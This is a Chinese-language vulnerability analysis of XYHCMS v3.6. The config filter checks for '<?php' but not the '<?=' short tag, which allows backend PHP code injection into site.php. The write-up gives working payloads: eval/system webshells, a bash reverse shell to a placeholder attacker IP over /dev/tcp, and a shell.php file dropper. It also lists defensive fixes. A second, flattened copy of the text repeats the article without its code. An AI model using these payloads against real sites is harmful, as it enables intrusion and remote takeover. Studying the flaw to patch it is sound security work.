xyhcms v3.6 命令执行
字数 958 2025-08-25 22:58:40

XYHCMS v3.6 命令执行漏洞分析与利用

漏洞概述

XYHCMS是一款开源的CMS内容管理系统,其v3.6版本存在一个后台代码执行漏洞。攻击者可以利用该漏洞在site.php配置文件中注入恶意代码,从而获取目标系统的控制权限。

漏洞分析

漏洞位置

  1. 配置文件写入点: App/Runtime/Data/config/site.php
  2. 后台处理文件: App/Manage/Controller/SystemController.class.php

漏洞成因

系统在将配置数据写入site.php文件时,虽然进行了PHP代码检测,但过滤机制不完善:

if (stripos($data[$key], '<?php') !== false || preg_match($preg_param, $data[$key])) {
    $this->error('禁止输入php代码');
}

这段代码仅检测了标准的<?php标签,但可以使用短标签<?=来绕过检测。

漏洞复现步骤

  1. 安装XYHCMS v3.6: 按照正常流程安装系统

  2. 访问后台: 获取后台管理权限

  3. 查找配置写入功能: 定位到可以修改系统配置的功能点

  4. 构造恶意输入: 使用短标签形式注入PHP代码

    • 示例: <?=phpinfo();?>
    • 其他可利用的payload:
      • <?=system($_GET['cmd']);?>
      • <?=eval($_POST['x']);?>
  5. 触发代码执行:

    • 修改配置后,系统会将内容写入site.php
    • 访问该文件或相关功能触发代码执行

漏洞利用

直接利用方式

  1. 通过后台配置功能注入Webshell:

    <?=eval($_POST['cmd']);?>
    
  2. 访问App/Runtime/Data/config/site.php文件执行任意命令

高级利用

  1. 反弹shell:

    <?=system('bash -c "bash -i >& /dev/tcp/攻击者IP/端口 0>&1"');?>
    
  2. 文件上传:

    <?=file_put_contents('shell.php', '<?php eval($_POST[cmd]);?>');?>
    

防御措施

临时解决方案

  1. 修改SystemController.class.php中的过滤逻辑,增加对短标签的检测:

    if (stripos($data[$key], '<?php') !== false || 
        stripos($data[$key], '<?=') !== false ||
        preg_match($preg_param, $data[$key])) {
        $this->error('禁止输入PHP代码');
    }
    
  2. 禁用PHP短标签:

    • 修改php.ini中的short_open_tag = Off

长期解决方案

  1. 升级到最新版本的XYHCMS

  2. 对写入配置文件的内容进行严格的过滤和转义

  3. 限制配置文件的访问权限

漏洞影响

  • 影响版本: XYHCMS v3.6
  • 危害等级: 高危
  • 影响范围: 所有使用受影响版本的系统

参考链接

  • 原始漏洞报告: 先知社区
  • XYHCMS官网: (请自行查找最新官网地址)

免责声明

本文档仅用于安全研究和教育目的。未经授权对他人系统进行测试或攻击是违法行为。

XYHCMS v3.6 命令执行漏洞分析与利用 漏洞概述 XYHCMS是一款开源的CMS内容管理系统,其v3.6版本存在一个后台代码执行漏洞。攻击者可以利用该漏洞在 site.php 配置文件中注入恶意代码,从而获取目标系统的控制权限。 漏洞分析 漏洞位置 配置文件写入点 : App/Runtime/Data/config/site.php 后台处理文件 : App/Manage/Controller/SystemController.class.php 漏洞成因 系统在将配置数据写入 site.php 文件时,虽然进行了PHP代码检测,但过滤机制不完善: 这段代码仅检测了标准的 <?php 标签,但可以使用短标签 <?= 来绕过检测。 漏洞复现步骤 安装XYHCMS v3.6 : 按照正常流程安装系统 访问后台 : 获取后台管理权限 查找配置写入功能 : 定位到可以修改系统配置的功能点 构造恶意输入 : 使用短标签形式注入PHP代码 示例: <?=phpinfo();?> 其他可利用的payload: <?=system($_GET['cmd']);?> <?=eval($_POST['x']);?> 触发代码执行 : 修改配置后,系统会将内容写入 site.php 访问该文件或相关功能触发代码执行 漏洞利用 直接利用方式 通过后台配置功能注入Webshell: 访问 App/Runtime/Data/config/site.php 文件执行任意命令 高级利用 反弹shell : 文件上传 : 防御措施 临时解决方案 修改 SystemController.class.php 中的过滤逻辑,增加对短标签的检测: 禁用PHP短标签: 修改php.ini中的 short_open_tag = Off 长期解决方案 升级到最新版本的XYHCMS 对写入配置文件的内容进行严格的过滤和转义 限制配置文件的访问权限 漏洞影响 影响版本: XYHCMS v3.6 危害等级: 高危 影响范围: 所有使用受影响版本的系统 参考链接 原始漏洞报告: 先知社区 XYHCMS官网: (请自行查找最新官网地址) 免责声明 本文档仅用于安全研究和教育目的。未经授权对他人系统进行测试或攻击是违法行为。